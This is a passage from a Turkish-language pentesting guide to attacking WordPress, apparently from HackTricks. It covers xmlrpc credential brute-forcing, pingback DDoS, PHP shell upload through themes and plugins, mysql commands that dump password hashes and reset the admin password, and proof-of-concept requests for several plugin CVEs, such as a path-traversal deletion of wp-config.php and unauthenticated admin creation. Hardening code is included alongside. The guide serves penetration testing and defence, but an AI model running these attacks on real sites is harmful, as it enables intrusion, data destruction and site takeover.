# Wordpress {{#include ../../banners/hacktricks-training.md}} ## Temel Bilgiler - **Yüklenen** dosyalar şu adrese gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Tema dosyaları /wp-content/themes/ dizininde bulunur,** bu yüzden temanın bazı php dosyalarını değiştirip RCE elde etmeye çalışırsanız muhtemelen bu yolu kullanırsınız. Örneğin: **twentytwelve** temasını kullanarak [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) dosyasına **erişebilirsiniz**. - **Başka faydalı bir url olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **wp-config.php** içinde veritabanının root parolasını bulabilirsiniz. - Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Ana WordPress Dosyaları** - `index.php` - `license.txt` örneğin yüklü WordPress sürümünü içeren faydalı bilgiler barındırır. - `wp-activate.php` yeni bir WordPress sitesi kurulumunda e-posta aktivasyon süreci için kullanılır. - Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` - `xmlrpc.php` HTTP taşıma mekanizması ve XML kodlama mekanizması ile veri iletimine izin veren bir WordPress özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir. - `wp-content` klasörü eklenti ve temaların saklandığı ana dizindir. - `wp-content/uploads/` platforma yüklenen herhangi bir dosyanın saklandığı dizindir. - `wp-includes/` sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi core dosyalarının saklandığı dizindir. - `wp-sitemap.xml` Wordpress 5.5 ve üzeri sürümlerde, tüm herkese açık gönderileri ve herkese açık sorgulanabilir post türleri ile taksonomileri içeren bir sitemap XML dosyası oluşturur. **Post exploitation** - `wp-config.php` dosyası WordPress'in veritabanına bağlanması için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, kimlik doğrulama anahtarları ve tuzlar, ve veritabanı tablo öneki gibi bilgileri içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için kullanılabilir; bu da sorun giderme sırasında faydalı olabilir. ### Kullanıcı İzinleri - **Administrator** - **Editor**: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir - **Author**: Kendi gönderilerini yayınlar ve yönetir - **Contributor**: Gönderilerini yazar ve yönetir ancak yayımlayamaz - **Subscriber**: Gönderileri görüntüler ve profilini düzenleyebilir ## **Pasif Keşif** ### **WordPress sürümünü öğrenme** `/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin Sayfanın **kaynak kodu** içinde (örnek from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash curl https://victim.com/ | grep 'content="WordPress' ``` - `meta name` ![](<../../images/image (1111).png>) - CSS link dosyaları ![](<../../images/image (533).png>) - JavaScript dosyaları ![](<../../images/image (524).png>) ### Eklentiler ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Temaları Al ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Genel olarak sürüm bilgisi çıkarma ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ## Aktif keşif ### Eklentiler ve Temalar Muhtemelen tüm eklentileri ve temaları bulamayacaksınız. Hepsini keşfetmek için, **aktif olarak eklenti ve tema listelerini Brute Force etmeniz** gerekecek (umarız bu listeleri içeren otomatik araçlar vardır). ### Kullanıcılar - **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları, kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` Eğer yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Eğer yanıt **400** ise, id **geçersiz**dir. - **wp-json:** Kullanıcılar hakkında bilgi almak için şu sorguyu da deneyebilirsiniz: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` Kullanıcılar hakkında bazı bilgiler açığa çıkarabilecek bir diğer `/wp-json/` endpoint şudur: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` Note that this endpoint only exposes users that have made a post. **Sadece bu özellik etkin olan kullanıcılarla ilgili bilgiler sağlanacaktır**. Also note that **/wp-json/wp/v2/pages** could leak IP addresses. - **Login username enumeration**: **`/wp-login.php`** üzerinden giriş yaparken gösterilen **mesaj**, kullanıcının var olup olmadığına göre **farklıdır**. ### XML-RPC Eğer `xml-rpc.php` aktifse credentials brute-force gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu işlemi örneğin [using this](https://github.com/relarizky/wpxploit) ile otomatikleştirebilirsiniz). To see if it is active try to access to _**/xmlrpc.php**_ and send this request: **Kontrol** ```html system.listMethods ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) **Credentials Bruteforce** **`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** brute-force credentials için kullanılabilecek yöntemlerden bazılarıdır. Eğer bunlardan herhangi birini bulabilirseniz şu şekilde bir şey gönderebilirsiniz: ```html wp.getUsersBlogs admin pass ``` Geçerli olmayan kimlik bilgileri varsa, 200 kodlu yanıt içinde _"Incorrect username or password"_ mesajı görünmelidir. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) Doğru kimlik bilgileriyle bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html wp.uploadFile 1 username password name filename.jpg type mime/type bits ``` Also there is a **daha hızlı bir yol** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
**Bypass 2FA** Bu yöntem programlar için tasarlanmıştır, insanlar için değil ve eski olduğu için 2FA'yı desteklemiyor. Yani, geçerli creds'iniz varsa ancak ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kullanarak bu creds ile 2FA'yı atlayarak oturum açmayı kötüye kullanabilirsiniz**. Konsol aracılığıyla yapabildiğiniz tüm işlemleri gerçekleştiremeyebilirsiniz, ancak Ippsec'in açıkladığı gibi yine de RCE'ye ulaşabilirsiniz: [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS or port scanning** If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ Bu, **binlerce** Wordpress **site**'nin tek bir **konum**'a **erişim**de bulunmasını sağlamak için kullanılabilir (böylece o konumda bir **DDoS** oluşur) veya herhangi bir port belirterek **Wordpress**'in bazı iç **ağ**'ları **taramasını** sağlamak için kullanılabilir. ```html pingback.ping http://: http:// ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) Eğer **faultCode** değeri **0**'dan büyük (17) ise, bu portun açık olduğu anlamına gelir. Önceki bölümdeki **`system.multicall`** kullanımına bakarak bu yöntemi DDoS oluşturmak için nasıl suistimal edebileceğinizi öğrenin. **DDoS** ```html pingback.ping http://target/ http://yoursite.com/and_some_valid_blog_post_url ``` ![](<../../images/image (110).png>) ### wp-cron.php DoS Bu dosya genellikle Wordpress sitesinin kökünde bulunur: **`/wp-cron.php`**\ Bu dosyaya **erişildiğinde** "**ağır**" MySQL **sorgu** çalıştırılır; bu yüzden **attackers** bir **DoS**'a **sebep olabilir**.\ Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklenişinde (bir istemci herhangi bir Wordpress sayfasını istediğinde) tetiklenir; yüksek trafikli sitelerde bu problemler (DoS) yaratabilir. Wp-Cron'u devre dışı bırakıp, sunucu içinde gerekli işlemleri düzenli aralıklarla gerçekleştirecek gerçek bir cronjob oluşturmanız önerilir (sorunlara yol açmadan). ### /wp-json/oembed/1.0/proxy - SSRF Şu adrese erişmeyi deneyin _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ ve Worpress sitesi size bir istek yapabilir. This is the response when it doesn't work: ![](<../../images/image (365).png>) ## SSRF {{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} Bu araç, **methodName: pingback.ping**'in ve **/wp-json/oembed/1.0/proxy** yolunun varlığını kontrol eder; eğer mevcutsa, bunları exploit etmeye çalışır. ## Otomatik Araçlar ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` ## Bir biti üzerine yazarak erişim sağlama Gerçek bir saldırıdan çok bir merak konusudur. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasındaki 1 biti değiştirebiliyordunuz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumundaki biti değiştirerek NOT (`!`) işlemini NOP yapabilirdiniz. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** **Kullanılan temadaki bir php'yi değiştirme (admin credentials needed)** Appearance → Theme Editor → 404 Template (sağ tarafta) İçeriği bir php shell ile değiştirin: ![](<../../images/image (384).png>) Güncellenmiş sayfaya nasıl erişileceğini internette araştırın. Bu durumda şuraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF Şunu kullanabilirsiniz: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` oturum elde etmek için. ## Plugin RCE ### PHP plugin .php dosyalarını bir plugin olarak yüklemek mümkün olabilir.\ Örneğin şu şekilde php backdoor'unuzu oluşturun: ![](<../../images/image (183).png>) Sonra yeni bir plugin ekleyin: ![](<../../images/image (722).png>) Plugin'i yükleyin ve "Install Now" butonuna basın: ![](<../../images/image (249).png>) "Procced"e tıklayın: ![](<../../images/image (70).png>) Muhtemelen görünürde hiçbir şey olmayacak, ancak Media'ya giderseniz yüklenmiş shell'inizi göreceksiniz: ![](<../../images/image (462).png>) Erişin ve reverse shell'i çalıştırmak için URL'yi göreceksiniz: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin Bu yöntem, bilinen şekilde zafiyetli olan ve web shell elde etmek için istismar edilebilen zararlı bir plugin'in kurulmasını içerir. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir: 1. **Plugin Edinimi**: Plugin, Exploit DB gibi bir kaynaktan elde edilir; örneğin [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Kurulumu**: - WordPress dashboard'a gidin, sonra `Dashboard > Plugins > Upload Plugin`. - İndirilen plugin'in zip dosyasını yükleyin. 3. **Plugin Aktivasyonu**: Plugin başarılı şekilde yüklendikten sonra dashboard üzerinden aktive edilmelidir. 4. **Exploitation**: - "reflex-gallery" plugin'i yüklü ve aktif olduğunda, zafiyeti bilindiği için istismar edilebilir. - Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak bir meterpreter oturumu kurulabilir ve siteye yetkisiz erişim sağlanabilir. - Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu not edilmelidir. İçerik, WordPress dashboard'unda plugin'i yükleme ve aktifleştirme adımlarını gösteren görsel yardımcılar içerir. Ancak, bu şekilde zafiyetleri istismar etmek uygun yetki olmadan yasa dışı ve etik dışıdır. Bu bilgiler sorumlu şekilde ve yalnızca açık izinle yapılan penetration testing gibi yasal bağlamlarda kullanılmalıdır. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## XSS'ten RCE'ye - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ WordPress'te bir **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir script'tir. Daha fazla bilgi için [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)'a bakın. Aşağıdaki Wordpress sürümlerini destekler ve şunları yapmaya olanak tanır: - _**Privilege Escalation:**_ WordPress'te bir kullanıcı oluşturur. - _**(RCE) Custom Plugin (backdoor) Upload:**_ Özel plugin (backdoor) yüklemenizi sağlar. - _**(RCE) Built-In Plugin Edit:**_ WordPress'teki built-in plugin'leri düzenlemenizi sağlar. - _**(RCE) Built-In Theme Edit:**_ WordPress'teki built-in theme'leri düzenlemenizi sağlar. - _**(Custom) Custom Exploits:**_ Üçüncü taraf WordPress pluginleri/temaları için özel exploit'ler. ## Post Exploitation Kullanıcı adları ve parolaları çıkar: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` admin parolasını değiştir: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` ## Wordpress Plugins Pentest ### Attack Surface Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkardığını bilmek, o işlevlerdeki zafiyetleri bulmak için anahtardır. Bir eklentinin işlevselliği nasıl açığa çıkarabileceğini aşağıdaki madde başlıklarında bulabilirsiniz ve savunmasız bazı eklenti örnekleri için [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** Bir eklentinin fonksiyonlarını kullanıcılara açığa çıkarmasının yollarından biri AJAX işleyicileridir. Bunlar mantık, authorization veya authentication hataları içerebilir. Ayrıca, bu fonksiyonların sıklıkla hem authentication hem authorization'ı bir wordpress nonce'unun varlığına dayandırması yaygındır; bu nonce **Wordpress kurulumunda kimliği doğrulanmış herhangi bir kullanıcıda bulunabilir** (rolünden bağımsız olarak). Bunlar bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlardır: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` **`nopriv` kullanımı endpoint'i herhangi bir kullanıcı tarafından (kimlik doğrulanmamış olanlar dahil) erişilebilir hale getirir.** > [!CAUTION] > Ayrıca, eğer fonksiyon yalnızca kullanıcının yetkisini `wp_verify_nonce` fonksiyonuyla kontrol ediyorsa, bu fonksiyon sadece kullanıcının oturum açmış olduğunu doğrular; genellikle kullanıcının rolünü kontrol etmez. Bu yüzden düşük ayrıcalığa sahip kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir. - **REST API** Ayrıca `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları bir REST API olarak kayıt edip açığa çıkarmak da mümkündür: ```php register_rest_route( $this->namespace, '/get/', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array($this, 'getData'), 'permission_callback' => '__return_true' ) ); ``` The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method. **If the built-in `__return_true` function is used, it'll simply skip user permissions check.** - **Doğrudan php dosyasına erişim** Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu nedenle, bir eklenti yalnızca dosyaya erişilmesiyle tetiklenen herhangi bir güvenlik açığı barındırıyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) Bazı eklentiler dahili entegrasyonlar veya reverse proxy'ler için “trusted header” kısayolları uygular ve sonra bu header'ı REST istekleri için mevcut kullanıcı bağlamını ayarlamakta kullanır. Eğer bu header yukarı akış bileşeni tarafından isteğe kriptografik olarak bağlanmamışsa, bir saldırgan onu taklit ederek yönetici olarak ayrıcalıklı REST rotalarına erişebilir. - Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route. - Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account). - Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. PoC ```http POST /wp-json/wp/v2/users HTTP/1.1 Host: User-Agent: Mozilla/5.0 Accept: application/json Content-Type: application/json X-Wcpay-Platform-Checkout-User: 1 Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` Neden işe yarıyor - Plugin, istemci tarafından kontrol edilen bir header'ı authentication state ile eşler ve capability kontrollerini atlar. - WordPress core bu route için `create_users` capability'sini bekler; plugin hack'i bu kontrolü header'dan doğrudan current user context ayarlayarak atlatır. Beklenen başarı göstergeleri - HTTP 201 ve oluşturulan kullanıcıyı tanımlayan bir JSON body. - `wp-admin/users.php` içinde görünen yeni bir admin kullanıcı. Tespit kontrol listesi - `getallheaders()`, `$_SERVER['HTTP_...']` için grep yapın veya vendor SDK'ları gibi custom header'ları okuyup user context ayarlayan kütüphanelere bakın (ör. `wp_set_current_user()`, `wp_set_auth_cookie()`). - Privileged callback'leri olan REST kayıtlarını inceleyin; sağlam bir `permission_callback` kontrolü olmayan ve bunun yerine request header'larına güvenenleri tespit edin. - REST handler'ları içinde yalnızca header değerleri ile sınırlanan core user-management fonksiyonlarının (`wp_insert_user`, `wp_create_user`) kullanımlarına bakın. Sertleştirme - Authentication veya authorization'ı istemci kontrollü header'lardan türetmeyin. - Bir reverse proxy kimlik enjekte etmek zorundaysa, güveni proxy'de sonlandırın ve gelen kopyaları kenarda strip edin (ör. edge'de `unset X-Wcpay-Platform-Checkout-User`), sonra imzalı bir token ile iletin ve server-side doğrulayın. - Privileged action yapan REST route'ları için `current_user_can()` kontrolleri ve katı bir `permission_callback` zorunlu kılın ( `__return_true` kullanmayın). - Header “impersonation” yerine birinci taraf auth'u (cookies, application passwords, OAuth) tercih edin. Referanslar: halka açık bir vaka ve daha geniş analiz için sayfanın sonundaki linklere bakın. ### wp_ajax_nopriv ile Yetkisiz Keyfi Dosya Silme (Litho Theme <= 3.0) WordPress temaları ve eklentileri sıkça AJAX handler'larını `wp_ajax_` ve `wp_ajax_nopriv_` hook'ları aracılığıyla açığa çıkarır. **_nopriv_** varyantı kullanıldığında **callback yetkisiz ziyaretçiler tarafından erişilebilir hale gelir**, bu yüzden herhangi bir hassas işlem ayrıca aşağıdakileri uygulamalıdır: 1. Bir **yetki kontrolü** (ör. `current_user_can()` veya en azından `is_user_logged_in()`), ve 2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce**, ve 3. **Sıkı girdi sanitizasyonu / doğrulaması**. Litho multipurpose theme (< 3.1) bu 3 kontrolü *Remove Font Family* özelliğinde unutmuş ve sonuç olarak aşağıdaki kodu (sadeleştirilmiş) dağıtmış: ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { return; } $fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] ); $upload_dir = wp_upload_dir(); $srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily; $filesystem = Litho_filesystem::init_filesystem(); if ( file_exists( $srcdir ) ) { $filesystem->delete( $srcdir, FS_CHMOD_DIR ); } die(); } add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` Bu kod parçasının yol açtığı sorunlar: * **Kimlik doğrulaması olmayan erişim** – `wp_ajax_nopriv_` hook'ı kayıtlı. * **Nonce / capability check yok** – herhangi bir ziyaretçi endpoint'e istek gönderebilir. * **Yol sanitizasyonu yok** – kullanıcı kontrollü `fontfamily` string'i filtrelenmeden dosya sistemi yoluna ekleniyor, klasik `../../` traversal'a izin veriyor. #### İstismar Bir saldırgan tek bir HTTP POST isteği göndererek herhangi bir dosyayı veya dizini **uploads ana dizininin altında** (genellikle `/wp-content/uploads/`) silebilir: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` `wp-config.php` *uploads* klasörünün dışında bulunduğu için, varsayılan kurulumda dört `../` dizisi yeterlidir. `wp-config.php`'yi silmek bir sonraki ziyarette WordPress'i *kurulum sihirbazı* durumuna sokar ve tam site ele geçirmeye olanak verir (saldırgan sadece yeni bir DB yapılandırması sağlar ve bir admin user oluşturur). Diğer etkili hedefler arasında plugin/theme `.php` dosyaları (security plugin'lerini bozmak için) veya `.htaccess` kuralları yer alır. #### Tespit kontrol listesi * Dosya sistemi yardımcılarını (`copy()`, `unlink()`, `$wp_filesystem->delete()`, vb.) çağıran herhangi bir `add_action( 'wp_ajax_nopriv_...')` callback'i. * Temizlenmemiş kullanıcı girdilerinin yollara eklenmesi (bak: `$_POST`, `$_GET`, `$_REQUEST`). * `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()` fonksiyonlarının yokluğu. #### Sertleştirme ```php function secure_remove_font_family() { if ( ! is_user_logged_in() ) { wp_send_json_error( 'forbidden', 403 ); } check_ajax_referer( 'litho_fonts_nonce' ); $fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); $srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { wp_send_json_error( 'invalid path', 400 ); } // … proceed … } add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] > **Her zaman** diskteki herhangi bir yazma/silme işlemini ayrıcalıklı olarak ele alın ve çift kontrol yapın: > • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). --- ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") Birçok plugin, orijinal rol(leri) user meta içinde kaydederek daha sonra geri yüklenebilmeleri için "view as role" veya geçici rol değiştirme özelliği uygular. Eğer geri yükleme yolu yalnızca request parametrelerine (ör. `$_REQUEST['reset-for']`) ve plugin tarafından tutulan bir listeye dayanıyor ve capabilities ile valid nonce kontrolü yapmıyorsa, bu bir vertical privilege escalation haline gelir. Gerçek bir örnek Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) içinde bulunmuştur. Reset dalı, kullanıcı adı dahili bir dizi `$options['viewing_admin_as_role_are']` içinde görünüyorsa `reset-for=` bazında rolleri geri yüklüyordu, ancak mevcut rolleri kaldırıp user meta `_asenha_view_admin_as_original_roles` içindeki kaydedilmiş rolleri tekrar eklemeden önce ne bir `current_user_can()` kontrolü ne de bir nonce doğrulaması yapıyordu: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { $reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); $usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; if ( in_array( $reset_for_username, $usernames, true ) ) { $u = get_user_by( 'login', $reset_for_username ); foreach ( $u->roles as $role ) { $u->remove_role( $role ); } $orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` Neden istismar edilebilir - Sunucu tarafı yetkilendirmesi olmadan `$_REQUEST['reset-for']` ve bir plugin seçeneğine güvenir. - Daha önce `_asenha_view_admin_as_original_roles` içinde daha yüksek ayrıcalıklara sahip olup yetkisi düşürülmüş bir kullanıcı, sıfırlama yoluna erişerek bunları geri yükleyebilir. - Bazı dağıtımlarda, yetkilendirme hatası nedeniyle herhangi bir kimlikli kullanıcı, `viewing_admin_as_role_are` içinde hâlâ bulunan başka bir kullanıcı adına reset tetikleyebilir (broken authorization). Saldırı önkoşulları - Özelliği etkin olan etkilenmiş plugin sürümü. - Hedef hesabın, önceki kullanımdan kalan ve user meta'da saklı yüksek ayrıcalıklı bir role sahip olması. - Herhangi bir doğrulanmış oturum; reset akışında nonce/capability eksikliği. İstismar (örnek) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. # The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` Zayıf yapılandırmalarda bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (örn. `administrator`) yeniden ekler; bu da ayrıcalıkların yükselmesine yol açar. Detection checklist - Rol değiştirme özelliklerinde, kullanıcı meta verisinde “orijinal rolleri” (örn. `_asenha_view_admin_as_original_roles`) saklayan öğeleri arayın. - Sıfırlama/geri yükleme yollarını belirleyin: - Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST` üzerinden okuyan. - Rolleri `add_role()` / `remove_role()` ile değiştiren ve bunu `current_user_can()` ile `wp_verify_nonce()` / `check_admin_referer()` kontrolleri olmadan yapan. - Yetkilendirmeyi aktörün yetenekleri yerine bir eklenti seçenek dizisine (örn. `viewing_admin_as_role_are`) dayandıran. Hardening - Her durum değişikliğine yol açan kod dalında yetenek kontrollerini zorunlu kılın (örn. `current_user_can('manage_options')` veya daha sıkı). - Tüm rol/izin değişiklikleri için nonce gerektirin ve doğrulayın: `check_admin_referer()` / `wp_verify_nonce()`. - İstekle sağlanan kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında, kimlik doğrulanmış aktöre ve açık politikaya göre belirleyin. - Profil/rol güncellemelerinde “orijinal rolleri” durumu geçersiz kılın, böylece eski yüksek ayrıcalıkların geri yüklenmesini engelleyin: ```php add_action( 'profile_update', function( $user_id ) { delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); }, 10, 1 ); ``` - Geçici rol değişimleri için minimum durum saklamayı ve süreli, yetki-korumalı token'lar kullanmayı düşünün. --- ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) Bazı eklentiler user-switching yardımcılarını public `init` hook'una bağlar ve kimliği client-controlled cookie'den türetir. Eğer kod `wp_set_auth_cookie()`'ı kimlik doğrulama, capability ve geçerli bir nonce doğrulaması yapmadan çağırıyorsa, herhangi bir yetkilendirilmemiş ziyaretçi rastgele bir kullanıcı ID'si ile zorla giriş yapabilir. Tipik zayıf desen (Service Finder Bookings ≤ 6.1'den basitleştirilmiş): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { $user_id = intval( sanitize_text_field($_GET['switch_user']) ); service_finder_switch_user($user_id); } if ( isset($_GET['switch_back']) ) { service_finder_switch_back(); } } add_action('init', 'service_finder_submit_user_form'); function service_finder_switch_back() { if ( isset($_COOKIE['original_user_id']) ) { $uid = intval($_COOKIE['original_user_id']); if ( get_userdata($uid) ) { wp_set_current_user($uid); wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid)); setcookie('original_user_id', '', time() - 3600, '/'); wp_redirect( admin_url('admin.php?page=candidates') ); exit; } wp_die('Original user not found.'); } wp_die('No original user found to switch back to.'); } ``` Neden istismar edilebilir - Public `init` hook, handler'ın kimliği doğrulanmamış kullanıcılar tarafından erişilebilir olmasını sağlar (hiçbir `is_user_logged_in()` koruması yok). - Kimlik, istemci tarafından değiştirilebilen bir cookie (`original_user_id`) üzerinden türetilir. - Doğrudan `wp_set_auth_cookie($uid)` çağrısı, istekte bulunan kişiyi herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır. İstismar (kimliği doğrulanmamış) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example Cookie: original_user_id=1 User-Agent: PoC Connection: close ``` --- ### WAF considerations for WordPress/plugin CVEs Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics. Saldırı notları - Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation. - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. Savunma notları - Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly. - Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters. ## WordPress Protection ### Regular Updates Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 